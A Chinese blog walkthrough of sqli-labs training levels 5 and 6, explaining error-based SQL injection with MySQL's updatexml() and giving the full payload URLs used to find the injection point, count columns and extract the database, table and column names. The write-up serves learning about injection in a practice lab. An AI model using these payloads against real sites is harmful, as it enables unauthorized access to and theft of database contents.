sqli-labs 靶场 less-5、6 第五关和第六关:判断注入点、使用错误函数注入爆库名、updatexml()函数

复制代码
SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 5

复制代码
SQLI DUMB SERIES-5
判断注入点:
	1. 首先,尝试正常的回显内容,如?id=1。
	2. 接着,输入?id=1'来查看是否出现语句错误。如果出现,那么可能存在单引号的闭合问题。
判断当前表的字段数:
	 使用order by语句来判断当前表的字段数。例如,?id=1' order by 3--和?id=1' order by 4--,通过页面回显的结果来确定字段数。
使用错误函数注入爆库名:
	1. 既然没有直接的回显信息,您可以使用MySQL的updatexml()函数来触发错误并提取信息。updatexml()函数在第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
	2. 尝试使用类似?id=1' and updatexml(1, concat(0x7e, version()), 3)--的语句来提取数据库版本信息。
	3. 逐步构造更复杂的语句来提取其他信息,如数据库名、表名等。

判断注入点

通过测试可知使用单引号会使得系统报语法报错

sql 复制代码
http://sqli-labs.com/Less-5/
?id=1'

即使使用注释语句重新获取数据页面中也不回显数据。

意味着只有报错的时候才会在页面显示数据,那么我们通过使用报错注释函数获取数据。

updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

语法:updatexml(XML_document,XPath_string,new_value)

XML_document:是string格式,为XML文档对象的名称

XPath_string:代表路径,Xpath格式的字符串例如

new_value:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

注入

通过报错注入代码,查看数据库名称:

sql 复制代码
http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",database()),3) --+

获取该数据库的表名:

sql 复制代码
http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",
(select group_concat(table_name) from information_schema.tables where table_schema='security')
),3) --+

注入查询users表的列名:

sql 复制代码
http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",
(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
),3) --+

Less 6

复制代码
SQLI DUMB SERIES-5
判断注入点:同第五关。
判断当前表的字段数:同第五关。
使用错误函数注入提取信息:同第五关。

判断注入点

输入双引号后报错的响应可知为闭合符号:

sql 复制代码
http://sqli-labs.com/Less-6/
?id=1" 

继续判断字段数量,当数字为3时没报错,得知为3个字段。

sql 复制代码
http://sqli-labs.com/Less-6/
?id=1" order by 3 --+

注入

输入正确不返回数据,则我们通过错误函数注入获取数据库。

sql 复制代码
http://sqli-labs.com/Less-6/
?id=1" union select updatexml(1,concat('~',database()),3); --+

在错误函数注入中输入语句,用于获取该数据库表名

sql 复制代码
http://sqli-labs.com/Less-6/
?id=1" union select 1,2,updatexml(1,concat('~',
(select group_concat(table_name) from information_schema.tables where table_schema=database())
),3); --+

注入获取数据表列名。

sql 复制代码
http://sqli-labs.com/Less-6/
?id=1" union select 1,2,updatexml(1,concat('~',
(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')
),3); --+

系列文章

相关推荐
modelmd38 分钟前
mysql not in 查询引发的bug问题记录
sql·mysql
scheduleTTe10 小时前
SQL增查
数据库·sql
SoFlu软件机器人19 小时前
告别手动报表开发!描述数据维度,AI 自动生成 SQL 查询 + Java 导出接口
java·数据库·sql
云边散步1 天前
🥢 第2篇:SELECT就是点菜,FROM就是菜单 —— 写你人生第一句SQL!
sql·mysql
见未见过的风景1 天前
想删除表中重复数据,只留下一条,sql怎么写
数据库·sql
hello 早上好2 天前
MyBatis 动态 SQL、#{}与 ${}区别、与 Hibernate区别、延迟加载、优势、XML映射关系
sql·mybatis·hibernate
NullPointerExpection2 天前
LLM大语言模型不适合统计算数,可以让大模型根据数据自己建表、插入数据、编写查询sql统计
数据库·人工智能·sql·算法·llm·llama·工作流
我命由我123452 天前
Spring Boot - Spring Boot 集成 MyBatis 分页实现 手写 SQL 分页
java·spring boot·后端·sql·spring·java-ee·mybatis
切糕师学AI2 天前
SQL中对字符串字段模糊查询(LIKE)的索引命中情况
数据库·sql
茅坑的小石头2 天前
SQL,在join中,on和where的区别
sql